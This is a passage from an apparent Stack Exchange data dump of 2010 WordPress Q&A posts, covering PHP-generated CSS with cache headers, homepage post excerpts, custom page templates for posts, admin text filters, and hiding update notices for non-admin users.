&lt;code&gt;get_stylesheet_directory_uri()&lt;/code&gt;&lt;/strong&gt; to grab the correct directory for the current theme, even if the current theme is a child theme,&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use of &lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/strong&gt; to queue the CSS to allow WordPress to load it at the proper time where &lt;code&gt;'php-powered-css'&lt;/code&gt; is an arbitrary name to reference as a dependency later (&lt;em&gt;if needed&lt;/em&gt;), and the empty &lt;code&gt;array()&lt;/code&gt; means this CSS has no dependencies (&lt;em&gt;although in real world it would often have one or more&lt;/em&gt;), and &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use of &lt;code&gt;$version&lt;/code&gt;&lt;/strong&gt;; Probably the most important one, we are telling &lt;code&gt;wp_enqueue_style()&lt;/code&gt; to add a &lt;code&gt;?ver=1.00&lt;/code&gt; parameter to the &lt;code&gt;/my_theme_css.php&lt;/code&gt; URL so that if the version changes the browser will view it as a completely different URL (Much more on that in a bit.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Setting &lt;code&gt;$version&lt;/code&gt; and &lt;code&gt;Last-Modified&lt;/code&gt; when User Updates CSS&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So here's the trick. Every time the user updates their CSS you want to serve the content and not wait until &lt;code&gt;2020&lt;/code&gt; for everyone's browser cache to timeout, right? Here's a function that combined with my other code will accomplish that. Every time you store CSS updated by the user, use this function or functionality similar to what's contained within:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function set_my_custom_css($custom_css) {&#xA;  $new_version = round(get_theme_mod('my_custom_css_version','1.00',2))+0.01;&#xA;  set_theme_mod('my_custom_css_version',$new_version);&#xA;  set_theme_mod('my_custom_css_last_modified',gmdate('D, d M Y H:i:s',time()).' GMT');&#xA;  set_theme_mod('my_custom_css',$custom_css);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;set_my_custom_css()&lt;/code&gt; function automatically increments the current version by 0.01 (which was just an arbitrary increment value I picked) and it also sets the last modified date to &lt;em&gt;right now&lt;/em&gt; and finally stores the new custom CSS. To call this function it might be as simple as this &lt;em&gt;(where &lt;code&gt;new_custom_css&lt;/code&gt; would likely get assigned via a user submitted &lt;code&gt;$_POST&lt;/code&gt; instead of by hardcoding as you see here)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$new_custom_css = 'body {background-color:orange;}';&#xA;set_my_custom_css($new_custom_css);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which brings us to the final albeit significant step:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Generating the CSS from the PHP Script&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally we get to see the meat, the actual &lt;code&gt;my_theme_css.php&lt;/code&gt; file. At a high level it tests both the &lt;code&gt;If-Modifed-Since&lt;/code&gt;  against the saved &lt;code&gt;Last-Modified&lt;/code&gt; value and the &lt;code&gt;If-None-Match&lt;/code&gt; against the &lt;code&gt;ETag&lt;/code&gt; which was derived from the saved &lt;code&gt;Last-Modified&lt;/code&gt; value and if neither have changed just sets the header to &lt;code&gt;304 Not Modifed&lt;/code&gt; and branches to the end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however either of those have changed it generates the &lt;code&gt;Expires&lt;/code&gt;, &lt;code&gt;Cache-Control&lt;/code&gt;. &lt;code&gt;Last-Modified&lt;/code&gt; and &lt;code&gt;Etag&lt;/code&gt; headers as well as a &lt;code&gt;200 Ok&lt;/code&gt; and indicating that the content type is &lt;code&gt;text/css&lt;/code&gt;. We probably don't need all those but given how finicky caching can be with different browsers and proxies I figure it doesn't hurt to cover all bases. &lt;em&gt;(And anyone with more experience with HTTP caching and WordPress please do chime in if I got any nuances wrong.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few more details in the following code but I think you can probably work them out on your own:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;  $s = $_SERVER;&#xA;&#xA;  include_once(&quot;{$s['DOCUMENT_ROOT']}/wp-load.php&quot;);&#xA;&#xA;  $max_age = 60*60*24; // 24 hours&#xA;  $now = gmdate('D, d M Y H:i:s', time()).'GMT';&#xA;  $last_modified = get_theme_mod('my_custom_css_last_modified',$now);&#xA;  $etag = md5($last_modified);&#xA;&#xA;  if (strtotime($s['HTTP_IF_MODIFIED_SINCE']) &amp;gt;= strtotime($last_modified) || $s['HTTP_IF_NONE_MATCH']==$etag) {&#xA;    header('HTTP/1.1 304 Not Modified');&#xA;  } else {&#xA;    header('HTTP/1.1 200 Ok');&#xA;    header(&quot;Expires: &quot; . gmdate('D, d M Y H:i:s', time()+$max_age.'GMT'));&#xA;    header(&quot;Cache-Control: max-age={$mag_age}, public, must-revalidate&quot;);&#xA;    header(&quot;Last-Modified: {$last_modified}&quot;);&#xA;    header(&quot;ETag: {$etag}&quot;);&#xA;    header('Content-type: text/css');&#xA;    echo_default_css();&#xA;    echo_custom_css();&#xA;  }&#xA;  exit;&#xA;&#xA;function echo_custom_css() {&#xA;  $custom_css = get_theme_mod('my_custom_css');&#xA;  if (!empty($custom_css))&#xA;    echo &quot;\n{$custom_css}&quot;;&#xA;}&#xA;&#xA;function echo_default_css() {&#xA;  $default_css =&amp;lt;&amp;lt;&amp;lt;CSS&#xA;body {background-color:yellow;}&#xA;CSS;&#xA;  echo $default_css;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So with these three major bits of code; 1.) the &lt;code&gt;add_php_powered_css()&lt;/code&gt; function called by the &lt;code&gt;init&lt;/code&gt; hook, 2.) the &lt;code&gt;set_my_custom_css()&lt;/code&gt; function called by whatever code allows the user to update their custom CSS, and lastly 3.) the &lt;code&gt;my_theme_css.php&lt;/code&gt; you should pretty much have this licked. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further Reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Aside from those already linked I came across a few other articles that I thought were really useful on the subject so I figured I should link them here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://articles.sitepoint.com/article/caching-php-performance/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cache it! Solve PHP Performance Problems&lt;/strong&gt;&lt;/a&gt; - A typical &lt;a href=&quot;http://www.sitepoint.com/&quot; rel=&quot;nofollow&quot;&gt;SitePoint&lt;/a&gt; Uber-Article; five (5) long pages of all things caching and PHP, covering HTTP and other forms of caching.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.stefanhayden.com/blog/2006/04/03/css-caching-hack/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CSS Caching Hack&lt;/strong&gt;&lt;/a&gt; - This is what I did with &lt;code&gt;$version&lt;/code&gt; but he explains more in-depth than I did.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.badpenguin.org/php-howto-control-page-caching&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;php: howto control page caching&lt;/strong&gt;&lt;/a&gt; - Good details on using HTTP headers with PHP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Epilogue:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But I would be remiss to leave the topic without making a closing comments. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Expires in &lt;code&gt;2020&lt;/code&gt;? Probably Too Extreme.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First, I don't really think you want to set &lt;code&gt;Expires&lt;/code&gt; to the year 2020. Any browsers or proxies that respect &lt;code&gt;Expires&lt;/code&gt; won't re-request even after you've made many CSS changes. Better to set something reasonable like 24 hours (like I did in my code) but even that will frustrate users for the day during which you make changes in the hardcoded CSS but forget to but the served version number. Moderation in all things?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;This Might All Be Overkill Anyway!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As I was reading various articles to help me answer your question I came across the following from &lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/&quot; rel=&quot;nofollow&quot;&gt;Mr. Cache Tutorial&lt;/a&gt; himself, &lt;a href=&quot;http://www.mnot.net/personal/&quot; rel=&quot;nofollow&quot;&gt;Mark Nottingham&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The best way to make a script&#xA;  cache-friendly (as well as perform&#xA;  better) is to dump its content to a&#xA;  plain file whenever it changes. The&#xA;  Web server can then treat it like any&#xA;  other Web page, generating and using&#xA;  validators, which makes your life&#xA;  easier. Remember to only write files&#xA;  that have changed, so the&#xA;  Last-Modified times are preserved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While all this code I wrote it cool and was fun to write (yes, I actually admitted that), &lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/tips.html#SCRIPT&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;maybe it's better just to generate a static CSS file every time the user updates their custom CSS&lt;/strong&gt;&lt;/a&gt; instead, and let Apache do all the heavy lifting like it was born to do? I'm just sayin...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-09T10:55:55.093" CommentCount="6" />
  <row Id="1575" PostTypeId="1" AcceptedAnswerId="1582" CreationDate="2010-09-09T12:08:08.467" Score="0" ViewCount="163" Body="&lt;p&gt;I've got a CMS-style wordpress setup where the homepage is not the main blog posts page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to display the first paragraph of the latest blog post on the homepage, with a link to the post. How would I do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to display, above this excerpt, the first image within the post, but I'm guessing that might be harder... or I'll have to use the 'featured image' or a custom field...?&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-09-09T13:53:09.337" Title="how to display an excerpt of the latest post on the homepage?" Tags="&lt;custom-field&gt;&lt;posts&gt;&lt;cms&gt;" AnswerCount="2" />
  <row Id="1577" PostTypeId="1" AcceptedAnswerId="1581" CreationDate="2010-09-09T12:54:16.110" Score="0" ViewCount="719" Body="&lt;p&gt;I would like to keep my main theme as the active theme, but allow users to select a slightly different layout via the &lt;em&gt;&quot;Page/Post Attributes&quot;&lt;/em&gt; panel. Ideally, I'd like to store this layout under my main theme's &lt;em&gt;&quot;styles&quot;&lt;/em&gt; directory, in its own folder.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MyTheme &gt; styles &gt; My-special-Layout &gt; style.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So that in the &lt;em&gt;&quot;Page Attributes&quot;&lt;/em&gt; panel, I see a template there called &lt;em&gt;&quot;My-special-layout&quot;&lt;/em&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have two issues...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't seem to get the &lt;em&gt;&quot;child&quot;&lt;/em&gt; theme to appear in the &lt;em&gt;&quot;Page Attributes&quot;&lt;/em&gt; panel.&#xA;(I'm simply adding a folder under my main theme directory and placing a &lt;code&gt;style.css&lt;/code&gt; file there that has the value &quot;&lt;code&gt;Template: my_main_theme_directory&lt;/code&gt;&quot;). But I never see any templates appear in the &quot;page attributes&quot; panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't get the &lt;em&gt;&quot;Page Attributes&quot;&lt;/em&gt; panel on the POST editor. I'd like to allow the template to be applied to &lt;em&gt;Posts&lt;/em&gt; as well as &lt;em&gt;Pages&lt;/em&gt;. How to get this panel on the post editor?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-10T04:57:09.090" LastActivityDate="2010-09-10T04:57:09.090" Title="Adding a Template to the Page Attributes Panel for both Posts and Pages?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="1578" PostTypeId="1" AcceptedAnswerId="1579" CreationDate="2010-09-09T13:10:44.430" Score="1" ViewCount="202" Body="&lt;p&gt;I have a website I am starting to build on Wordpress, but I want a placeholder theme to put up while I develop the theme.  I had some links to some good &quot;Coming Soon&quot; themes for 2.X, but I lost them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any good &quot;Coming Soon&quot; themes for Wordpress 3.0?  I would prefer it to have a place for the visitors to sign up for updates via email.&lt;/p&gt;&#xA;" OwnerUserId="832" LastActivityDate="2010-09-09T23:08:12.717" Title="Are there any 'Coming Soon' themes for Wordpress 3.0?" Tags="&lt;3.0&gt;&lt;themes&gt;" AnswerCount="2" />
  <row Id="1579" PostTypeId="2" ParentId="1578" CreationDate="2010-09-09T13:31:21.040" Score="5" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Martin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few &quot;Coming Soon&quot; themes available on The WordPress.org theme repository.  One of them  is &lt;a href=&quot;http://wordpress.org/extend/themes/ready2launch&quot; rel=&quot;nofollow&quot;&gt;Ready to Launch&lt;/a&gt; .  My recommendation is to use one of the &quot;Coming Soon&quot; plugins instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Why Use a Plugin?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage to using a plugin is that it allows you to work on the site while the public sees the coming soon page.  Anyone who is logged in will be able to see the progress on the theme.  I use CSS Jockey's &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-coming-soon-page/&quot; rel=&quot;nofollow&quot;&gt;Custom Coming Soon Page&lt;/a&gt; because it allows complete control over the coming soon landing page and includes a simple email sign up and jQuery countdown timer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows my client to add content and see the progress of the site while it's being built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few more plugin choices&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-coming-soon-and-under-construction/&quot; rel=&quot;nofollow&quot;&gt;Simple Coming Soon and Under Construction&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/underconstruction/&quot; rel=&quot;nofollow&quot;&gt;Under Construction&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-09T13:31:21.040" CommentCount="2" />
  <row Id="1580" PostTypeId="1" AcceptedAnswerId="1584" CreationDate="2010-09-09T13:33:09.683" Score="3" ViewCount="444" Body="&lt;p&gt;I don't want to edit core files in order to change the page where a user enters new posts, so is there a way to do it within a theme, perhaps within functions.php  ..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'm trying to change the wording of the 'Set featured image' text to something like 'Set featured image -  50 pixels by 50 pixels'&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-09-11T21:30:10.617" Title="How to change the wording in wp-admin back-end?" Tags="&lt;wp-admin&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="1581" PostTypeId="2" ParentId="1577" CreationDate="2010-09-09T13:44:31.990" Score="0" ViewCount="" Body="&lt;p&gt;You're not doing child themes right. A child theme is a separate theme altogether that everyone must use, but relies on another theme for all template parts it doesn't provide. What you want is templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Defining_Custom_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development#Defining_Custom_Templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, just create a new theme file in the theme's root directory (e.g. &lt;code&gt;foobar.php&lt;/code&gt;) write this at the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Template Name: Foobar&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you a new template called Foobar (obviously, change Foobar to whatever you want. That's the name that will appear in the dropdown menu on the editor page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now, WordPress only supports templates for pages and custom post types, not posts. There are ways to hack this, like checking for a post meta on posts and pulling it on template include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_post_templater($template){&#xA;  if( !is_single() )&#xA;    return $template;&#xA;  global $wp_query;&#xA;  $c_template = get_post_meta( $wp_query-&amp;gt;post-&amp;gt;ID, '_wp_page_template', true );&#xA;  return empty( $c_template ) ? $template : $c_template;&#xA;}&#xA;&#xA;add_filter( 'template_include', 'my_post_templater' );&#xA;&#xA;function give_my_posts_templates(){&#xA;  add_post_type_support( 'post', 'page-attributes' );&#xA;}&#xA;&#xA;add_action( 'init', 'give_my_posts_templates' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you put that code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, that should work (as long as you actually have custom templates in your theme folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about child themes, read here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-09-09T13:44:31.990" CommentCount="1" />
  <row Id="1582" PostTypeId="2" ParentId="1575" CreationDate="2010-09-09T13:52:52.520" Score="4" ViewCount="" Body="&lt;p&gt;To show the excerpt from the latest post you can use query_posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example Query Posts Showing the Latest Post with the Featured Image:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('showposts=1'); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;      &amp;lt;h3 class=&quot;home link&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;       &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to reset the query if you want to show content entered into your home page's post editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-09T13:52:52.520" />
  <row Id="1583" PostTypeId="2" ParentId="1575" CreationDate="2010-09-09T13:53:09.337" Score="0" ViewCount="" Body="&lt;p&gt;Here's how you'd do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_posts( 'posts_per_page=1' );&#xA;if( !empty( $post ) ){&#xA;  setup_postdata( $post );&#xA;  the_post_thumbnail();&#xA;  ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;}&#xA;$post = $wp_query-&amp;gt;post;&#xA;setup_postdata( $post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I highly suggest using the featured image for that.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-09-09T13:53:09.337" />
  <row Id="1584" PostTypeId="2" ParentId="1580" CreationDate="2010-09-09T14:10:48.833" Score="9" ViewCount="" Body="&lt;p&gt;You can use the filter &lt;code&gt;admin_post_thumbnail_html&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_admin_post_thumbnail_html( $content ) {&#xA;    return $content = str_replace( __( 'Set featured image' ), __( 'Set featured image - 50 pixels by 50 pixels' ), $content );&#xA;}&#xA;&#xA;add_filter( 'admin_post_thumbnail_html', 'custom_admin_post_thumbnail_html' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-09T14:10:48.833" />
  <row Id="1585" PostTypeId="2" ParentId="1567" CreationDate="2010-09-09T14:19:40.460" Score="25" ViewCount="" Body="&lt;h2&gt;Remove Update Notification for all users except ADMIN User&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will ensures that no users other than &quot;admin&quot; are notified by wordpress when updates are available..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE THE WORDPRESS UPDATE NOTIFICATION FOR ALL USERS EXCEPT SYSADMIN&#xA;   global $user_login;&#xA;   get_currentuserinfo();&#xA;   if ($user_login !== &quot;admin&quot;) { // change admin to the username that gets the updates&#xA;    add_action( 'init', create_function( '$a', &quot;remove_action( 'init', 'wp_version_check' );&quot; ), 2 );&#xA;    add_filter( 'pre_option_update_core', create_function( '$a', &quot;return null;&quot; ) );&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changed version to only show update notification for admin users (as opposed to just the user 'admin'):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE THE WORDPRESS UPDATE NOTIFICATION FOR ALL USERS EXCEPT SYSADMIN&#xA;       global $user_login;&#xA;       get_currentuserinfo();&#xA;       if (!current_user_can('update_plugins')) { // checks to see if current user can update plugins &#xA;        add_action( 'init', create_function( '$a', &quot;remove_action( 'init', 'wp_version_check' );&quot; ), 2 );&#xA;        add_filter( 'pre_option_update_core', create_function( '$a', &quot;return null;&quot; ) );&#xA;       }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:33:17.570" LastActivityDate="2011-01-26T14:33:17.570" CommunityOwnedDate="2010-09-09T14:38:11.363" CommentCount="11" />
  <row Id="1586" PostTypeId="2" ParentId="1564" CreationDate="2010-09-09T14:27:03.840" Score="8" ViewCount="" Body="&lt;p&gt;If you &lt;em&gt;must&lt;/em&gt; hack core, consider doing so in a way that makes it extensible for others.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Add an Action Hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Nine times out of ten, you could do what it is you wanted if only there was an extra &lt;code&gt;do_action&lt;/code&gt; call in a specific file.  In that case, add the action, document it, and &lt;strong&gt;submit a patch via &lt;a href=&quot;http://trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt;&lt;/strong&gt;.  If there's a good reason for your patch (i.e. you're not the only one who would ever use it) then you can probably get it added to core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, build a custom plug-in (you don't have to release/distribute it!) that ties in to this new hook and performs whatever function you need it to do.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Refactor a core file&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Other times, you might just need a piece of code to behave differently.  Pass a variable by reference, for example, or return a value rather than echo it.  Take some time to sit down and refactor the code so it does what you need it to do ... then &lt;strong&gt;submit a patch via &lt;a href=&quot;http://trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt;&lt;/strong&gt; so the rest of us can benefit from your work.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Do you see a theme developing here?  Hacking core isn't necessarily a no-no ... just something most developers will &lt;strong&gt;&lt;em&gt;highly discourage&lt;/em&gt;&lt;/strong&gt; for new users or novice programmers (if you're asking us how to do something, we'll suggest a plug-in every time before even considering to suggest you hack core).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hacking core is the way WordPress develops and evolves, but it's dangerous for someone just learning PHP or with no experience working with WP files.  Please start with a plug-in before touching core - if you break a plug-in you can uninstall it quickly (removing via FTP if necessary) ... but if you break core, bad things can happen to your site and potentially to your database as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are in a situation where a core hack is unavoidable, then make the change.  Also, publish your change in a prominent location (if your blog is highly visible, that might be sufficient ... but I suggest &lt;a href=&quot;http://trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt; because that's how community changes get pulled into the next release).  Your change might be the magic bullet that could fix problems in a hundred different sites ... so contribute back to the community that helped you build your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the change gets committed, then your hack becomes part of core and you won't need to worry about it in the future.  If it doesn't, at least you have detailed documentation on how to re-implement the hack after you upgrade WP in 3 months.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-09T14:27:03.840" CommentCount="1" />
  <row Id="1588" PostTypeId="2" ParentId="1512" CreationDate="2010-09-09T16:36:13.593" Score="2" ViewCount="" Body="&lt;p&gt;Yes, &lt;code&gt;cat=x&lt;/code&gt; get's posts in x and all sub-categories, if you don't want this behavior doing &lt;code&gt;category__in =&amp;gt; array( x )&lt;/code&gt; will only get posts specifically in that category. &lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-09-09T16:36:13.593" CommentCount="1" />
  <row Id="1589" PostTypeId="2" ParentId="1552" CreationDate="2010-09-09T17:44:28.883" Score="7" ViewCount="" Body="&lt;p&gt;The best way is without plugin - i set WP3.0 with multisite; the first blog is a dummy to rewrite the uesers to right blog with his language, a small script in the theme to rewirte ro the right language; i see in the browser-language of the users and rewrite; the second is the default blog, the third blog is another blog and so on - olso it is possible to swich the blog from post tot post with core function of WPMU and you can add own functions to post draft in other blogs from published post in a blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; for your ask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe, my english is bad&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i install wp3.0 or MU and the first blog, the admin-blog has an small theme, one template with a small function. The function read the browser-language of the users on the frontend of the domain and sitch then to the other blog of this install, she have this language as default. &#xA;All other blogs are for different languages and one blog is for one language. &#xA;So it is possible to has great tables for the different posts and all works with WP core methods. WPMU has enough function to switch from post to post in different language. Give it a post in blog english and link to post in blog german, than i write this with an own plugin in the postmeta of the post. So it is possible for the users, he can switch on the frontend from a post in other language. Also you can use wp_insert_post() to add an draft in blog german maybe, when you publish in blog english.&#xA;I hope you understand my way - works great and i have many customer with this solution.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-09-09T19:42:12.157" LastActivityDate="2010-09-09T19:42:12.157" CommentCount="11" />
  <row Id="1590" PostTypeId="2" ParentId="1542" CreationDate="2010-09-09T17:46:05.513" Score="0" ViewCount="" Body="&lt;p&gt;WP has core function to view this, see my post &lt;a href=&quot;http://wpengineer.com/1735/easier-better-solutions-to-get-pictures-on-your-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1735/easier-better-solutions-to-get-pictures-on-your-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-09-09T17:46:05.513" CommentCount="2" />
  <row Id="1591" PostTypeId="1" AcceptedAnswerId="2247" CreationDate="2010-09-09T19:14:39.677" Score="0" ViewCount="173" Body="&lt;p&gt;Since wp 2.9.2 came out it appears to have broken k2's ajax 'older/newer' posts navigation buttons, with too long a url being requested from my server.  Looking in firebug it's absolutely ridiculous and so definitely broken (check it out at &lt;a href=&quot;http://aleatory.clientsideweb.net/&quot; rel=&quot;nofollow&quot;&gt;http://aleatory.clientsideweb.net/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what a good open source alternative to k2 is that supports the latest versions, 2.9.2+, of wp?  I like k2's simple layout and would like any replacement to be able to serve random header images in the same way too.&lt;/p&gt;&#xA;" OwnerUserId="835" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-27T06:15:18.520" LastActivityDate="2010-09-27T06:15:38.707" Title="good alternative to k2 theme?" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="1" CommentCount="3" />
